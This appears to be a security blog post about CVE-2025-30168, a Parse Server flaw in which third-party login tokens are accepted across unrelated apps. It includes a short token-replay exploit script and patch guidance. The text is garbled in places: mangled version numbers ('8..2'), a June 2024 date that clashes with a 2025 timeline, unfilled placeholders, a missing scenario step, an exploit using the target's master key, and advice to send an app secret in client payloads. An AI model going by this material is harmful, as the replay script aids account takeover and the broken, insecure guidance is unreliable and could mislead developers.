Published: June 2024
Introduction
Parse Server is a well-known open source backend platform for app developers, popular for its flexibility and ability to run on any infrastructure that supports Node.js. Unfortunately, versions prior to 7.5.2 and 8..2 have a serious security flaw — CVE-2025-30168. In some situations, authentication credentials from third-party providers (like Google, Facebook, GitHub, etc.) can be mistakenly trusted *across different* Parse Server apps.
If two different apps use the same authentication provider, a user that signs up to both can have one app’s credentials work on the other, even if those two apps are totally unrelated. For attackers, this opens the door to account hijacking and unauthorized access.
This post explains how this vulnerability occurs, shows an example exploit, and offers practical guidance to keep your apps safe.
How Did This Vulnerability Happen?
When you configure third-party authentication adapters in Parse Server, your backend expects to receive tokens from a provider like Facebook or Google. The issue in vulnerable versions is that Parse Server doesn't adequately *isolate* which app those tokens are for. This means credentials issued to one Parse Server instance can sometimes be replayed on another, if both use the same provider.
Important:
Not every Parse Server app is affected!
- Only those using an impacted third-party auth adapter in the auth option (see Authenticator Docs).
- User authentication via username/password or *session* tokens is not impacted.
AppB at *chattyapp.com* (also using Parse Server <7.5.2)
Both use Facebook for login. You, Alice, sign up to *AppA* and *AppB*, both with your Facebook account.
Step 1: Get Alice’s Facebook Access Token
When Alice logs in to either app, Facebook returns an access token to the client.
Let’s capture that token on *AppA*.
// login.js - for Alice on AppA
Parse.FacebookUtils.logIn({
success: function(user) {
// user authenticates using Facebook
const accessToken = user.get('authData').facebook.access_token;
alert('Token: ' + accessToken);
},
error: function(user, error) {
alert('Facebook login failed');
}
});
Step 2: Use Token on AppB
Now, an attacker (or just Alice herself experimenting) takes that access token and uses it to authenticate to *AppB*.
// auth_exploit.js - use AppA token on AppB
const ParseB = require('parse/node');
ParseB.initialize("APP_B_ID", null, "APP_B_MASTER");
ParseB.serverURL = "https://chattyapp.com/parse";;
// Manually construct Facebook auth payload from AppA
ParseB.User.logInWith('facebook', {
authData: {
id: 'User-FB-ID', // Alice's Facebook ID
access_token: 'AppA_Token', // STOLE FROM AppA
expiration_date: '[from AppA]'
}
}).then(user => {
console.log('Logged in to AppB with AppA token:', user.id);
}).catch(err => {
console.error(err);
});
What Happens?
- If *AppB* is running a vulnerable Parse Server, it accepts the token, thinks it’s valid, and authenticates Alice (or the attacker) — even though the token was never intended for *AppB*.
- If the token was compromised (sniffed, leaked elsewhere), the attacker can log in to every app using the same provider, NOT just the one where the token was issued.
Who Is Affected?
- Before 7.5.2 and 8..2: All Parse Server apps using third-party auth (auth) with a vulnerable adapter.
- Only if you use third-party providers — username/password and session-token apps are safe.
Check if you’re vulnerable:
In your index.js or parse-server.json/configuration, do you have something like this?
auth: {
facebook: {
module: 'parse-server-auth-adapter-facebook',
appIds: ['123456123456']
}
// ... other providers
}
If yes, and your version is older than 7.5.2 or 8..2 — patch ASAP.
Why Isolating Apps Is Crucial
Imagine Facebook, Google, and GitHub each hand out "passports" (tokens). If your backend never checks *which country* (app) the passport is intended for, anyone with the passport can get in anywhere that trusts that provider — even if they’re not supposed to.
Proper security checks the passport *and* which app/site it was issued for. That was missing before this patch.
The Fix: How Parse Server Patched CVE-2025-30168
See the official fix:
- GitHub PR #9496 (example reference)
- Parse Server Changelog
The patch does these things
1. Stronger Isolation: Now, tokens are compared with extra checks — the context (App ID, etc.) is required, making it much harder for tokens from AppA to work on AppB.
2. Client Payload Change: You need the *client app* to send “enhanced” payloads. So both server AND client must be updated.
Previously, you may have sent this (insecure)
{
"authData": {
"facebook": {
"id": "USER_ID",
"access_token": "FB_ACCESS_TOKEN",
"expiration_date": "2025-12-31T23:59:59.999Z"
}
}
}
Now, you MUST send an updated payload (see docs of your auth adapter)
{
"authData": {
"facebook": {
"id": "USER_ID",
"access_token": "FB_ACCESS_TOKEN",
"expiration_date": "2025-12-31T23:59:59.999Z",
"app_id": "123456789",
"app_secret": "MY_APP_SECRET"
}
}
}
*(Check your provider’s adapter docs; additional parameters may be needed)*
Update Parse Server to 7.5.2, 8..2 or later.
npm install parse-server@latest
- Audit your custom adapters or usage of these popular plugins
- parse-server-adapter-auth-facebook
- parse-server-auth-github
4. Monitor for Abuse
- If your logs show odd cross-app logins, rotate all third-party tokens and force user re-authentication.
Further Reading
- Original Security Advisory on GitHub *(replace with actual advisory link)*
- Parse Server Authentication Docs
- Parse Server Release Notes
Conclusion
CVE-2025-30168 is a great example of why even well-tested backend systems need defense-in-depth — and why third-party tokens are never “plug & play.” If your Parse Server app uses social logins or other third-party sign-ins, upgrading immediately is a must.
Thanks for reading — stay secure!
Disclaimer:
This post is for educational and defensive purposes only. Do not exploit vulnerable apps; always report responsibly.
*Written by [Your Name] for the Open Source Security Community, June 2024*
Timeline
Published on: 03/21/2025 15:15:43 UTC